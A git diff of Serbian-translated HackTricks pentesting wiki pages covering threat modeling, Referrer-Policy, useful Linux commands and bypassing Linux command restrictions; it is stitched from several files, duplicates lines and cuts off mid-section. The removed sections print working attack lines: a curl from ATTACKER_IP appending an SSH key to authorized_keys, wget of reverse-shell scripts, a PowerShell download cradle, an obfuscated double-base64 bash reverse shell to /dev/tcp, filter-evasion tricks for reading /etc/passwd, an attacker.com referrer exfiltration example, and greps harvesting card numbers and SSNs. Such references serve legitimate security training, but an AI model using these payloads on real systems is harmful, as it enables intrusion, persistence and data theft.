Modeli pretnji često sadrže elemente označene crvenom bojom, simbolizujući potencijalne ranjivosti, rizike ili prepreke. Da bi se pojednostavio proces identifikacije rizika, koristi se CIA (Poverljivost, Integritet, Dostupnost) trojka, koja čini osnovu mnogih metodologija modelovanja pretnji, pri čemu je STRIDE jedna od najčešćih. Međutim, odabrana metodologija može varirati u zavisnosti od specifičnog konteksta i zahteva.
|
||||
|
||||
### CIA trojka
|
||||
### The CIA Triad
|
||||
|
||||
CIA trojka je široko prepoznat model u oblasti informacione bezbednosti, koji se odnosi na Poverljivost, Integritet i Dostupnost. Ove tri kolone čine osnovu na kojoj se grade mnoge mere i politike bezbednosti, uključujući metodologije modelovanja pretnji.
|
||||
CIA trojka je široko prepoznat model u oblasti informacione bezbednosti, koji se odnosi na Poverljivost, Integritet i Dostupnost. Ove tri stuba čine osnovu na kojoj se grade mnoge mere i politike bezbednosti, uključujući metodologije modelovanja pretnji.
|
||||
|
||||
1. **Poverljivost**: Osiguranje da podaci ili sistem nisu dostupni neovlašćenim osobama. Ovo je centralni aspekt bezbednosti, koji zahteva odgovarajuće kontrole pristupa, enkripciju i druge mere za sprečavanje curenja podataka.
|
||||
2. **Integritet**: Tačnost, doslednost i pouzdanost podataka tokom njihovog životnog ciklusa. Ova načela osiguravaju da podaci nisu izmenjeni ili kompromitovani od strane neovlašćenih strana. Često uključuje kontrolne sume, heširanje i druge metode verifikacije podataka.
|
||||
3. **Dostupnost**: Ovo osigurava da su podaci i usluge dostupni ovlašćenim korisnicima kada su potrebni. Ovo često uključuje redundanciju, otpornost na greške i konfiguracije visoke dostupnosti kako bi se sistemi održavali u radu čak i u slučaju prekida.
|
||||
|
||||
### Metodologije modelovanja pretnji
|
||||
### Threat Modeling Methodlogies
|
||||
|
||||
1. **STRIDE**: Razvijen od strane Microsoft-a, STRIDE je akronim za **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Svaka kategorija predstavlja tip pretnje, a ova metodologija se obično koristi u fazi dizajniranja programa ili sistema za identifikaciju potencijalnih pretnji.
|
||||
2. **DREAD**: Ovo je još jedna metodologija iz Microsoft-a koja se koristi za procenu rizika identifikovanih pretnji. DREAD se odnosi na **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Svaki od ovih faktora se boduje, a rezultat se koristi za prioritizaciju identifikovanih pretnji.
|
||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Ovo je metodologija sa sedam koraka, **orijentisana na rizik**. Uključuje definisanje i identifikaciju bezbednosnih ciljeva, kreiranje tehničkog okvira, dekompoziciju aplikacije, analizu pretnji, analizu ranjivosti i procenu rizika/triage.
|
||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Ovo je metodologija zasnovana na **riziku** koja se sastoji od sedam koraka. Uključuje definisanje i identifikaciju bezbednosnih ciljeva, kreiranje tehničkog okvira, dekompoziciju aplikacije, analizu pretnji, analizu ranjivosti i procenu rizika/triage.
|
||||
4. **Trike**: Ovo je metodologija zasnovana na riziku koja se fokusira na odbranu sredstava. Počinje iz perspektive **upravljanja rizikom** i gleda na pretnje i ranjivosti u tom kontekstu.
|
||||
5. **VAST** (Visual, Agile, and Simple Threat modeling): Ovaj pristup ima za cilj da bude pristupačniji i integriše se u Agile razvojne okruženja. Kombinuje elemente iz drugih metodologija i fokusira se na **vizuelne prikaze pretnji**.
|
||||
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Razvijen od strane CERT Coordination Center, ovaj okvir je usmeren na **organizacionu procenu rizika umesto na specifične sisteme ili softver**.
|
||||
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Razvijen od strane CERT Coordination Center, ovaj okvir je usmeren ka **organizacionoj proceni rizika umesto na specifične sisteme ili softver**.
|
||||
|
||||
## Alati
|
||||
## Tools
|
||||
|
||||
Postoji nekoliko alata i softverskih rešenja dostupnih koja mogu **pomoći** u kreiranju i upravljanju modelima pretnji. Evo nekoliko koje biste mogli razmotriti.
|
||||
|
||||
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
||||
|
||||
Napredni multiplatformski i višefunkcionalni GUI web spider/crawler za profesionalce u sajber bezbednosti. Spider Suite se može koristiti za mapiranje i analizu napadačkih površina.
|
||||
Napredni višepplatformski i višefunkcionalni GUI web spider/crawler za profesionalce u sajber bezbednosti. Spider Suite se može koristiti za mapiranje i analizu površine napada.
|
||||
|
||||
**Korišćenje**
|
||||
**Usage**
|
||||
|
||||
1. Izaberite URL i Crawlujte
|
||||
|
||||
@ -54,7 +56,7 @@ Napredni multiplatformski i višefunkcionalni GUI web spider/crawler za profesio
|
||||
|
||||
Projekat otvorenog koda iz OWASP-a, Threat Dragon je i web i desktop aplikacija koja uključuje dijagramiranje sistema kao i pravilo za automatsko generisanje pretnji/mitigacija.
|
||||
|
||||
**Korišćenje**
|
||||
**Usage**
|
||||
|
||||
1. Kreirajte novi projekat
|
||||
|
||||
@ -74,7 +76,7 @@ Ponekad može izgledati ovako:
|
||||
|
||||
4. Kreirajte svoj model
|
||||
|
||||
Možete koristiti alate poput SpiderSuite Crawler-a da biste dobili inspiraciju, osnovni model bi izgledao ovako
|
||||
Možete koristiti alate poput SpiderSuite Crawler-a da vam daju inspiraciju, osnovni model bi izgledao ovako
|
||||
|
||||
<figure><img src="../images/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -84,7 +86,7 @@ Samo malo objašnjenja o entitetima:
|
||||
- Akter (Osoba kao što je posetilac veb sajta, korisnik ili administrator)
|
||||
- Linija toka podataka (Indikator interakcije)
|
||||
- Granica poverenja (Različiti mrežni segmenti ili opsezi.)
|
||||
- Skladište (Stvari gde se podaci čuvaju kao što su baze podataka)
|
||||
- Skladište (Mesta gde se podaci čuvaju kao što su baze podataka)
|
||||
|
||||
5. Kreirajte pretnju (Korak 1)
|
||||
|
||||
@ -96,16 +98,19 @@ Sada možete kreirati pretnju
|
||||
|
||||
<figure><img src="../images/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Imajte na umu da postoji razlika između pretnji aktera i pretnji procesa. Ako biste dodali pretnju akteru, tada ćete moći da izaberete samo "Spoofing" i "Repudiation". Međutim, u našem primeru dodajemo pretnju procesu, tako da ćemo ovo videti u okviru za kreiranje pretnje:
|
||||
Imajte na umu da postoji razlika između pretnji aktera i pretnji procesa. Ako biste dodali pretnju akteru, tada ćete moći da izaberete samo "Spoofing" i "Repudiation". Međutim, u našem primeru dodajemo pretnju entitetu procesa, tako da ćemo ovo videti u okviru za kreiranje pretnje:
|
||||
|
||||
<figure><img src="../images/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
6. Gotovo
|
||||
|
||||
Sada bi vaš završeni model trebao izgledati ovako. I ovako pravite jednostavan model pretnji sa OWASP Threat Dragon.
|
||||
Sada vaš završeni model treba da izgleda ovako. I ovako pravite jednostavan model pretnje sa OWASP Threat Dragon.
|
||||
|
||||
<figure><img src="../images/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
||||
|
||||
Ovo je besplatan alat od Microsoft-a koji pomaže u pronalaženju pretnji u fazi dizajniranja softverskih projekata. Koristi STRIDE metodologiju i posebno je pogodan za one koji razvijaju na Microsoft-ovom stack-u.
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
Binary file not shown.
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 16 KiB |
@ -1,35 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
# Referrer headers and policy
|
||||
|
||||
Referrer je header koji koriste pregledači da označe koja je bila prethodna stranica koja je posetjena.
|
||||
|
||||
## Osetljive informacije otkrivene
|
||||
|
||||
Ako se u nekom trenutku unutar web stranice bilo koja osetljiva informacija nalazi u GET zahtevima, ako stranica sadrži linkove ka spoljnim izvorima ili napadač može da natera/predloži (socijalno inženjerstvo) korisniku da poseti URL koji kontroliše napadač. To bi moglo omogućiti eksfiltraciju osetljivih informacija unutar poslednjeg GET zahteva.
|
||||
|
||||
## Mitigacija
|
||||
|
||||
Možete naterati pregledač da prati **Referrer-policy** koja bi mogla **izbeći** slanje osetljivih informacija drugim web aplikacijama:
|
||||
```
|
||||
Referrer-Policy: no-referrer
|
||||
Referrer-Policy: no-referrer-when-downgrade
|
||||
Referrer-Policy: origin
|
||||
Referrer-Policy: origin-when-cross-origin
|
||||
Referrer-Policy: same-origin
|
||||
Referrer-Policy: strict-origin
|
||||
Referrer-Policy: strict-origin-when-cross-origin
|
||||
Referrer-Policy: unsafe-url
|
||||
```
|
||||
## Counter-Mitigation
|
||||
|
||||
Možete prepisati ovo pravilo koristeći HTML meta tag (napadač treba da iskoristi i HTML injekciju):
|
||||
```html
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
## Odbrana
|
||||
|
||||
Nikada ne stavljajte osetljive podatke unutar GET parametara ili putanja u URL-u.
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,297 +0,0 @@
|
||||
# Korisne Linux Komande
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Uobičajeni Bash
|
||||
```bash
|
||||
#Exfiltration using Base64
|
||||
base64 -w 0 file
|
||||
|
||||
#Get HexDump without new lines
|
||||
xxd -p boot12.bin | tr -d '\n'
|
||||
|
||||
#Add public key to authorized keys
|
||||
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
|
||||
|
||||
#Echo without new line and Hex
|
||||
echo -n -e
|
||||
|
||||
#Count
|
||||
wc -l <file> #Lines
|
||||
wc -c #Chars
|
||||
|
||||
#Sort
|
||||
sort -nr #Sort by number and then reverse
|
||||
cat file | sort | uniq #Sort and delete duplicates
|
||||
|
||||
#Replace in file
|
||||
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
|
||||
|
||||
#Download in RAM
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
||||
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||||
|
||||
#Files used by network processes
|
||||
lsof #Open files belonging to any process
|
||||
lsof -p 3 #Open files used by the process
|
||||
lsof -i #Files used by networks processes
|
||||
lsof -i 4 #Files used by network IPv4 processes
|
||||
lsof -i 6 #Files used by network IPv6 processes
|
||||
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
|
||||
lsof +D /lib #Processes using files inside the indicated dir
|
||||
lsof -i :80 #Files uses by networks processes
|
||||
fuser -nv tcp 80
|
||||
|
||||
#Decompress
|
||||
tar -xvzf /path/to/yourfile.tgz
|
||||
tar -xvjf /path/to/yourfile.tbz
|
||||
bzip2 -d /path/to/yourfile.bz2
|
||||
tar jxf file.tar.bz2
|
||||
gunzip /path/to/yourfile.gz
|
||||
unzip file.zip
|
||||
7z -x file.7z
|
||||
sudo apt-get install xz-utils; unxz file.xz
|
||||
|
||||
#Add new user
|
||||
useradd -p 'openssl passwd -1 <Password>' hacker
|
||||
|
||||
#Clipboard
|
||||
xclip -sel c < cat file.txt
|
||||
|
||||
#HTTP servers
|
||||
python -m SimpleHTTPServer 80
|
||||
python3 -m http.server
|
||||
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
|
||||
php -S $ip:80
|
||||
|
||||
#Curl
|
||||
#json data
|
||||
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
|
||||
#Auth via JWT
|
||||
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
|
||||
|
||||
#Send Email
|
||||
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
|
||||
|
||||
#DD copy hex bin file without first X (28) bytes
|
||||
dd if=file.bin bs=28 skip=1 of=blob
|
||||
|
||||
#Mount .vhd files (virtual hard drive)
|
||||
sudo apt-get install libguestfs-tools
|
||||
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
|
||||
|
||||
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
|
||||
ssh-keyscan 10.10.10.101
|
||||
|
||||
# Openssl
|
||||
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
|
||||
openssl x509 -in ca.cert.pem -text #Read certificate
|
||||
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
|
||||
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
|
||||
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
|
||||
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
|
||||
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
|
||||
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
|
||||
# Decrypt ssh key
|
||||
openssl rsa -in key.ssh.enc -out key.ssh
|
||||
#Decrypt
|
||||
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
|
||||
|
||||
#Count number of instructions executed by a program, need a host based linux (not working in VM)
|
||||
perf stat -x, -e instructions:u "ls"
|
||||
|
||||
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
|
||||
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
|
||||
|
||||
#Reconfigure timezone
|
||||
sudo dpkg-reconfigure tzdata
|
||||
|
||||
#Search from which package is a binary
|
||||
apt-file search /usr/bin/file #Needed: apt-get install apt-file
|
||||
|
||||
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
|
||||
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
|
||||
|
||||
#Set not removable bit
|
||||
sudo chattr +i file.txt
|
||||
sudo chattr -i file.txt #Remove the bit so you can delete it
|
||||
|
||||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
## Bash za Windows
|
||||
```bash
|
||||
#Base64 for Windows
|
||||
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
|
||||
|
||||
#Exe compression
|
||||
upx -9 nc.exe
|
||||
|
||||
#Exe2bat
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
|
||||
#Compile Windows python exploit to exe
|
||||
pip install pyinstaller
|
||||
wget -O exploit.py http://www.exploit-db.com/download/31853
|
||||
python pyinstaller.py --onefile exploit.py
|
||||
|
||||
#Compile for windows
|
||||
#sudo apt-get install gcc-mingw-w64-i686
|
||||
i686-mingw32msvc-gcc -o executable useradd.c
|
||||
```
|
||||
## Greps
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
||||
#Extract valid IP addresses
|
||||
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
|
||||
|
||||
#Extract passwords
|
||||
grep -i "pwd\|passw" file.txt
|
||||
|
||||
#Extract users
|
||||
grep -i "user\|invalid\|authentication\|login" file.txt
|
||||
|
||||
# Extract hashes
|
||||
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
|
||||
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
|
||||
#Extract valid MySQL-Old hashes
|
||||
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
|
||||
#Extract blowfish hashes
|
||||
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
|
||||
#Extract Joomla hashes
|
||||
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
|
||||
#Extract VBulletin hashes
|
||||
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
|
||||
#Extraxt phpBB3-MD5
|
||||
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
|
||||
#Extract Wordpress-MD5
|
||||
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
|
||||
#Extract Drupal 7
|
||||
egrep -o '$S$S{52}' *.txt > drupal-7.txt
|
||||
#Extract old Unix-md5
|
||||
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
|
||||
#Extract md5-apr1
|
||||
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
|
||||
#Extract sha512crypt, SHA512(Unix)
|
||||
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
|
||||
|
||||
#Extract e-mails from text files
|
||||
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
|
||||
|
||||
#Extract HTTP URLs from text files
|
||||
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
|
||||
#For extracting HTTPS, FTP and other URL format use
|
||||
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
|
||||
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
|
||||
|
||||
#Extract Floating point numbers
|
||||
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
|
||||
|
||||
# Extract credit card data
|
||||
#Visa
|
||||
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
|
||||
#MasterCard
|
||||
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
|
||||
#American Express
|
||||
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
|
||||
#Diners Club
|
||||
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
|
||||
#Discover
|
||||
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
|
||||
#JCB
|
||||
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
|
||||
#AMEX
|
||||
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
|
||||
|
||||
# Extract IDs
|
||||
#Extract Social Security Number (SSN)
|
||||
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
|
||||
#Extract Indiana Driver License Number
|
||||
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
|
||||
#Extract US Passport Cards
|
||||
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
|
||||
#Extract US Passport Number
|
||||
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
|
||||
#Extract US Phone Numberss
|
||||
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
|
||||
#Extract ISBN Numbers
|
||||
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
|
||||
```
|
||||
## Pronađi
|
||||
```bash
|
||||
# Find SUID set files.
|
||||
find / -perm /u=s -ls 2>/dev/null
|
||||
|
||||
# Find SGID set files.
|
||||
find / -perm /g=s -ls 2>/dev/null
|
||||
|
||||
# Found Readable directory and sort by time. (depth = 4)
|
||||
find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Found Writable directory and sort by time. (depth = 10)
|
||||
find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Or Found Own by Current User and sort by time. (depth = 10)
|
||||
find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Or Found Own by Current Group ID and Sort by time. (depth = 10)
|
||||
find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
|
||||
|
||||
# Found Newer files and sort by time. (depth = 5)
|
||||
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
|
||||
# Found Newer files only and sort by time. (depth = 5)
|
||||
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
|
||||
# Found Newer directory only and sort by time. (depth = 5)
|
||||
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
|
||||
```
|
||||
## Nmap pretraga pomoć
|
||||
```bash
|
||||
#Nmap scripts ((default or version) and smb))
|
||||
nmap --script-help "(default or version) and *smb*"
|
||||
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
|
||||
nmap --script-help "(default or version) and smb)"
|
||||
```
|
||||
## Баш
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
```
|
||||
## Iptables
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
iptables --delete-chain
|
||||
|
||||
#allow loopback
|
||||
iptables -A INPUT -i lo -j ACCEPT
|
||||
iptables -A OUTPUT -o lo -j ACCEPT
|
||||
|
||||
#drop ICMP
|
||||
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
|
||||
iptables -A OUTPUT -p icmp -j DROP
|
||||
|
||||
#allow established connections
|
||||
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
|
||||
|
||||
#allow ssh, http, https, dns
|
||||
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
|
||||
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
|
||||
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
|
||||
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
|
||||
|
||||
#default policies
|
||||
iptables -P INPUT DROP
|
||||
iptables -P FORWARD ACCEPT
|
||||
iptables -P OUTPUT ACCEPT
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,319 +0,0 @@
|
||||
# Bypass Linux Restrictions
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Uobičajeni zaobilaženja ograničenja
|
||||
|
||||
### Reverse Shell
|
||||
```bash
|
||||
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
||||
```
|
||||
### Kratak Rev shell
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
(sh)0>/dev/tcp/10.10.10.10/443
|
||||
#Then get the out of the rev shell executing inside of it:
|
||||
exec >&0
|
||||
```
|
||||
### Zaobilaženje putanja i zabranjenih reči
|
||||
```bash
|
||||
# Question mark binary substitution
|
||||
/usr/bin/p?ng # /usr/bin/ping
|
||||
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
|
||||
|
||||
# Wildcard(*) binary substitution
|
||||
/usr/bin/who*mi # /usr/bin/whoami
|
||||
|
||||
# Wildcard + local directory arguments
|
||||
touch -- -la # -- stops processing options after the --
|
||||
ls *
|
||||
echo * #List current files and folders with echo and wildcard
|
||||
|
||||
# [chars]
|
||||
/usr/bin/n[c] # /usr/bin/nc
|
||||
|
||||
# Quotes
|
||||
'p'i'n'g # ping
|
||||
"w"h"o"a"m"i # whoami
|
||||
ech''o test # echo test
|
||||
ech""o test # echo test
|
||||
bas''e64 # base64
|
||||
|
||||
#Backslashes
|
||||
\u\n\a\m\e \-\a # uname -a
|
||||
/\b\i\n/////s\h
|
||||
|
||||
# $@
|
||||
who$@ami #whoami
|
||||
|
||||
# Transformations (case, reverse, base64)
|
||||
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
|
||||
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
|
||||
$(rev<<<'imaohw') #whoami
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
|
||||
|
||||
|
||||
# Execution through $0
|
||||
echo whoami|$0
|
||||
|
||||
# Uninitialized variables: A uninitialized variable equals to null (nothing)
|
||||
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
|
||||
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
|
||||
|
||||
# Fake commands
|
||||
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
|
||||
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
|
||||
|
||||
# Concatenation of strings using history
|
||||
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
|
||||
mi # This will throw an error
|
||||
whoa # This will throw an error
|
||||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
### Zaobilaženje zabranjenih prostora
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
{echo,test} # echo test
|
||||
|
||||
# IFS - Internal field separator, change " " for any other character ("]" in this case)
|
||||
cat${IFS}/etc/passwd # cat /etc/passwd
|
||||
cat$IFS/etc/passwd # cat /etc/passwd
|
||||
|
||||
# Put the command line in a variable and then execute it
|
||||
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
|
||||
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
|
||||
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
|
||||
# Other way, just change each space for ${IFS}
|
||||
echo${IFS}test
|
||||
|
||||
# Using hex format
|
||||
X=$'cat\x20/etc/passwd'&&$X
|
||||
|
||||
# Using tabs
|
||||
echo "ls\x09-l" | bash
|
||||
|
||||
# New lines
|
||||
p\
|
||||
i\
|
||||
n\
|
||||
g # These 4 lines will equal to ping
|
||||
|
||||
# Undefined variables and !
|
||||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
### Zaobilaženje obrnutog i običnog kosa crte
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
### Obilaženje cevi
|
||||
```bash
|
||||
